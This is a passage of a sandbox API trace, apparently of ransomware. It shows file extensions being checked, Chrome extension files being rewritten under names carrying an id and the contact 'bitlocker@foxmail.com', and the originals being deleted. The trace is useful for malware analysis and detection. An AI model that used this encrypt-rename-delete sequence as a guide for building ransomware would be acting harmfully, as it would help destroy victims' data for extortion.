(lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html") returned 158 [0181.026] lstrlenW (lpString=".dbf") returned 4 [0181.026] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.026] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html") returned 158 [0181.026] lstrlenW (lpString=".1cd") returned 4 [0181.026] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.026] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html") returned 158 [0181.026] lstrlenW (lpString=".jpg") returned 4 [0181.026] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0181.026] lstrcmpiW (lpString1=".js", lpString2=".wiki") returned -1 [0181.026] lstrlenW (lpString="cast_route_details.js") returned 21 [0181.026] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0181.026] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=238168) returned 1 [0181.027] CloseHandle (hObject=0x160) returned 1 [0181.027] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js")) returned 0x2020 [0181.027] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.027] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0181.027] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.027] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.027] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0181.027] GetLastError () returned 0x0 [0181.027] ReadFile (in: hFile=0x160, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x3a258, lpOverlapped=0x0) returned 1 [0181.033] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x3a260, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x3a260, lpOverlapped=0x0) returned 1 [0181.145] ReadFile (in: hFile=0x160, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0181.145] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xfe, lpOverlapped=0x0) returned 1 [0181.145] SetEndOfFile (hFile=0x19c) returned 1 [0181.145] CloseHandle (hObject=0x19c) returned 1 [0181.146] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.146] SetEndOfFile (hFile=0x160) returned 1 [0181.148] CloseHandle (hObject=0x160) returned 1 [0181.148] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.148] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js")) returned 1 [0181.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js") returned 156 [0181.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js") returned 156 [0181.148] lstrlenW (lpString=".doc") returned 4 [0181.148] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0181.148] lstrlenW (lpString=".docx") returned 5 [0181.148] lstrcmpiW (lpString1=".docx", lpString2="ls.js") returned -1 [0181.148] lstrlenW (lpString=".pdf") returned 4 [0181.148] lstrcmpiW (lpString1=".pdf", lpString2="s.js") returned -1 [0181.148] lstrlenW (lpString=".xls") returned 4 [0181.148] lstrcmpiW (lpString1=".xls", lpString2="s.js") returned -1 [0181.148] lstrlenW (lpString=".xlsx") returned 5 [0181.148] lstrcmpiW (lpString1=".xlsx", lpString2="ls.js") returned -1 [0181.148] lstrlenW (lpString=".ppt") returned 4 [0181.148] lstrcmpiW (lpString1=".ppt", lpString2="s.js") returned -1 [0181.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js") returned 156 [0181.148] lstrlenW (lpString=".zip") returned 4 [0181.149] lstrcmpiW (lpString1=".zip", lpString2="s.js") returned -1 [0181.149] lstrlenW (lpString=".rar") returned 4 [0181.149] lstrcmpiW (lpString1=".rar", lpString2="s.js") returned -1 [0181.149] lstrlenW (lpString=".bz2") returned 4 [0181.149] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0181.149] lstrlenW (lpString=".7z") returned 3 [0181.149] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0181.149] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js") returned 156 [0181.149] lstrlenW (lpString=".dbf") returned 4 [0181.149] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0181.149] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js") returned 156 [0181.149] lstrlenW (lpString=".1cd") returned 4 [0181.149] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0181.149] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js") returned 156 [0181.149] lstrlenW (lpString=".jpg") returned 4 [0181.149] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0181.149] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js") returned 156 [0181.149] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js") returned 156 [0181.149] lstrlenW (lpString=".doc") returned 4 [0181.149] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0181.149] lstrlenW (lpString=".docx") returned 5 [0181.149] lstrcmpiW (lpString1=".docx", lpString2="ls.js") returned -1 [0181.149] lstrlenW (lpString=".pdf") returned 4 [0181.149] lstrcmpiW (lpString1=".pdf", lpString2="s.js") returned -1 [0181.149] lstrlenW (lpString=".xls") returned 4 [0181.149] lstrcmpiW (lpString1=".xls", lpString2="s.js") returned -1 [0181.149] lstrlenW (lpString=".xlsx") returned 5 [0181.149] lstrcmpiW (lpString1=".xlsx", lpString2="ls.js") returned -1 [0181.149] lstrlenW (lpString=".ppt") returned 4 [0181.149] lstrcmpiW (lpString1=".ppt", lpString2="s.js") returned -1 [0181.150] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js") returned 156 [0181.150] lstrlenW (lpString=".zip") returned 4 [0181.150] lstrcmpiW (lpString1=".zip", lpString2="s.js") returned -1 [0181.150] lstrlenW (lpString=".rar") returned 4 [0181.150] lstrcmpiW (lpString1=".rar", lpString2="s.js") returned -1 [0181.150] lstrlenW (lpString=".bz2") returned 4 [0181.150] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0181.150] lstrlenW (lpString=".7z") returned 3 [0181.150] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0181.150] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js") returned 156 [0181.150] lstrlenW (lpString=".dbf") returned 4 [0181.150] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0181.150] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js") returned 156 [0181.150] lstrlenW (lpString=".1cd") returned 4 [0181.150] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0181.150] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js") returned 156 [0181.150] lstrlenW (lpString=".jpg") returned 4 [0181.150] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0181.150] lstrcmpiW (lpString1=".js", lpString2=".wiki") returned -1 [0181.150] lstrlenW (lpString="cast_app_redirect.js") returned 20 [0181.150] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0181.299] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=242) returned 1 [0181.299] CloseHandle (hObject=0x160) returned 1 [0181.299] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js")) returned 0x2020 [0181.299] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.315] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0181.315] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.315] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.315] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0181.315] GetLastError () returned 0x0 [0181.315] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xf2, lpOverlapped=0x0) returned 1 [0181.316] WriteFile (in: hFile=0x160, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x100, lpOverlapped=0x0) returned 1 [0181.317] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0181.317] WriteFile (in: hFile=0x160, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0181.317] SetEndOfFile (hFile=0x160) returned 1 [0181.317] CloseHandle (hObject=0x160) returned 1 [0181.317] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.317] SetEndOfFile (hFile=0x2e0) returned 1 [0181.318] CloseHandle (hObject=0x2e0) returned 1 [0181.318] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.318] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js")) returned 1 [0181.319] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js") returned 166 [0181.319] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js") returned 166 [0181.319] lstrlenW (lpString=".doc") returned 4 [0181.319] lstrcmpiW (lpString1=".doc", lpString2="t.js") returned -1 [0181.319] lstrlenW (lpString=".docx") returned 5 [0181.319] lstrcmpiW (lpString1=".docx", lpString2="ct.js") returned -1 [0181.319] lstrlenW (lpString=".pdf") returned 4 [0181.319] lstrcmpiW (lpString1=".pdf", lpString2="t.js") returned -1 [0181.319] lstrlenW (lpString=".xls") returned 4 [0181.319] lstrcmpiW (lpString1=".xls", lpString2="t.js") returned -1 [0181.319] lstrlenW (lpString=".xlsx") returned 5 [0181.319] lstrcmpiW (lpString1=".xlsx", lpString2="ct.js") returned -1 [0181.319] lstrlenW (lpString=".ppt") returned 4 [0181.319] lstrcmpiW (lpString1=".ppt", lpString2="t.js") returned -1 [0181.319] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js") returned 166 [0181.319] lstrlenW (lpString=".zip") returned 4 [0181.319] lstrcmpiW (lpString1=".zip", lpString2="t.js") returned -1 [0181.319] lstrlenW (lpString=".rar") returned 4 [0181.319] lstrcmpiW (lpString1=".rar", lpString2="t.js") returned -1 [0181.319] lstrlenW (lpString=".bz2") returned 4 [0181.319] lstrcmpiW (lpString1=".bz2", lpString2="t.js") returned -1 [0181.319] lstrlenW (lpString=".7z") returned 3 [0181.319] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0181.319] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js") returned 166 [0181.319] lstrlenW (lpString=".dbf") returned 4 [0181.319] lstrcmpiW (lpString1=".dbf", lpString2="t.js") returned -1 [0181.319] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js") returned 166 [0181.319] lstrlenW (lpString=".1cd") returned 4 [0181.319] lstrcmpiW (lpString1=".1cd", lpString2="t.js") returned -1 [0181.319] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js") returned 166 [0181.319] lstrlenW (lpString=".jpg") returned 4 [0181.320] lstrcmpiW (lpString1=".jpg", lpString2="t.js") returned -1 [0181.320] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js") returned 166 [0181.320] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js") returned 166 [0181.320] lstrlenW (lpString=".doc") returned 4 [0181.320] lstrcmpiW (lpString1=".doc", lpString2="t.js") returned -1 [0181.320] lstrlenW (lpString=".docx") returned 5 [0181.320] lstrcmpiW (lpString1=".docx", lpString2="ct.js") returned -1 [0181.320] lstrlenW (lpString=".pdf") returned 4 [0181.320] lstrcmpiW (lpString1=".pdf", lpString2="t.js") returned -1 [0181.320] lstrlenW (lpString=".xls") returned 4 [0181.320] lstrcmpiW (lpString1=".xls", lpString2="t.js") returned -1 [0181.320] lstrlenW (lpString=".xlsx") returned 5 [0181.320] lstrcmpiW (lpString1=".xlsx", lpString2="ct.js") returned -1 [0181.320] lstrlenW (lpString=".ppt") returned 4 [0181.320] lstrcmpiW (lpString1=".ppt", lpString2="t.js") returned -1 [0181.320] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js") returned 166 [0181.320] lstrlenW (lpString=".zip") returned 4 [0181.320] lstrcmpiW (lpString1=".zip", lpString2="t.js") returned -1 [0181.320] lstrlenW (lpString=".rar") returned 4 [0181.320] lstrcmpiW (lpString1=".rar", lpString2="t.js") returned -1 [0181.320] lstrlenW (lpString=".bz2") returned 4 [0181.320] lstrcmpiW (lpString1=".bz2", lpString2="t.js") returned -1 [0181.320] lstrlenW (lpString=".7z") returned 3 [0181.320] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0181.320] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js") returned 166 [0181.320] lstrlenW (lpString=".dbf") returned 4 [0181.320] lstrcmpiW (lpString1=".dbf", lpString2="t.js") returned -1 [0181.320] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js") returned 166 [0181.320] lstrlenW (lpString=".1cd") returned 4 [0181.320] lstrcmpiW (lpString1=".1cd", lpString2="t.js") returned -1 [0181.320] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js") returned 166 [0181.321] lstrlenW (lpString=".jpg") returned 4 [0181.321] lstrcmpiW (lpString1=".jpg", lpString2="t.js") returned -1 [0181.321] lstrcmpiW (lpString1=".html", lpString2=".wiki") returned -1 [0181.321] lstrlenW (lpString="view.html") returned 9 [0181.321] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0181.321] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=5964) returned 1 [0181.321] CloseHandle (hObject=0x2e0) returned 1 [0181.321] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html")) returned 0x2020 [0181.321] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 